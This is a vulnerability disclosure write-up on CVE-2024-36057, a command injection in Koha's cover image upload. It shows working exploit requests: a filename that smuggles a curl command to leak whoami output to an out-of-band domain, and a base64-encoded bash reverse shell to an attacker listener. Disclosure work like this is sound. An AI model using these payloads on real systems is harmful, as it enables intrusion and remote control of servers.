Summary
Hacklantic discovered and disclosed CVE-2024-36057, a critical Command Injection vulnerability in Koha's staff interface.
The vulnerability resides in Koha's Cover Image Upload tool, which incorporates the uploaded filename directly into a shell command.
In versions before 23.05.10, an authenticated staff user with access to the functionality can:
- Execute arbitrary operating-system commands on the server hosting Koha
- Gain an interactive shell as the Koha service account, exposing its files, secrets, and configuration
- Establish persistence and pivot from the application deeper into the hosting environment
Escalating the Attack
The attack in Part 1 resulted in a compromised superlibrarian account with access to Koha's staff interface.
This write-up builds on that foothold to take the attack further, ultimately achieving command execution on the underlying server.

With administrative access established, the next logical step was to review the additional functionality available through the staff interface for further vulnerabilities.
Koha's codebase was grepped for command-execution patterns such as Perl's qx//, and one such instance was located in upload-cover-image.pl.
Here, it was seen that uploaded filenames were passed straight into a shell command without any sanitisation.

This meant that if an attacker uploaded a .zip file whose filename contained backticks (`), the enclosed text would be treated as a command rather than part of the name.
Backticks perform command substitution in a shell, so when the tool ran unzip against the filename, any command inside them would execute on the server.
unzip file`<command>`.zip -d /out/put/path
Triggering Command Execution
The Upload Local Cover Image tool accepted a ZIP archive of book covers, and that archive was ultimately passed to the unzip command identified earlier.

The injection was first confirmed with an out-of-band (OOB) technique. A ZIP file was uploaded with a command smuggled into its filename.
When executed, that command ran whoami and passed the result into a curl request to a Burp Collaborator domain, carrying the output in the subdomain. No response was needed on the page for the result to leak.
POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1 Host: 192.168.1.59:8081 --SNIP-- ------WebKitFormBoundarym8Y6rF2SHWEv4Lmf Content-Disposition: form-data; name="file"; filename="payload`curl $(whoami).xqr9ctamn2k8tbll88y4k7ruxl3cr6fv.oastify.com`.zip" Content-Type: application/zip ------WebKitFormBoundarym8Y6rF2SHWEv4Lmf--
The upload was accepted, and the response returned a file ID, confirming the archive had been staged on the server.
HTTP/1.1 200 OK
--SNIP--
{"errors":null,"fileid":"6","status":"done"}After the upload completed successfully, the injected command was triggered by clicking “Process Images”.

At that point the filename was interpolated directly into the unzip command, and the shell evaluated the backticks before unzip ever ran:
unzip payload`curl $(whoami).xqr9ctamn2k8tbll88y4k7ruxl3cr6fv.oastify.com`.zip -d /out/put/path
Processing then failed with a 500 error, which was expected, since the filename was never a valid archive. That failure did not matter, because the injected command had already run.
The output of whoami appeared as the subdomain in the Burp Collaborator interaction, confirming command execution as the kohadev-koha user.

Establishing a Shell
The out-of-band check proved code execution, but a single blind command offered little practical control. The next step was to upgrade it into an interactive reverse shell for hands-on access to the server.
The payload below was used to connect back to a listener controlled by the attacker:
bash -c 'bash -i >& /dev/tcp/192.168.1.189/80 0>&1'
However, placing this payload directly in the filename would break the command. It contains forward slashes (in /dev/tcp/…), which are not valid in a filename, so the path would be mangled before the command ever ran.
Encoding the payload as base64 collapsed it into a compact, slash-free string. It was then decoded and piped into bash at runtime, with the pipes running safely inside the backticks.
POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1 Host: 192.168.1.59:8081 --SNIP-- ------WebKitFormBoundaryb8dsIhW91kWvbzkp Content-Disposition: form-data; name="file"; filename="p`echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTg5LzgwIDA+JjEn | base64 -d | bash`.zip" Content-Type: application/zip ------WebKitFormBoundaryb8dsIhW91kWvbzkp--
With a listener waiting, the archive was processed one final time. The backticks decoded the payload and piped it into bash, and moments later the listener received a connection from the server.
This produced an interactive shell as kohadev-koha, completing a chain that began with a low-privileged library member exploiting a SQL injection and ended in full control of the underlying host.

Part 1 covers the SQL Injection and account takeover that made this staff access possible, tracked as CVE-2024-36058.
Disclosure
The issue was responsibly disclosed to the Koha development team and resolved as part of the project's coordinated June 2024 security release across all maintained branches.
The full technical advisory and proof-of-concept are published on GitHub: hacklantic/CVE-2024-36057.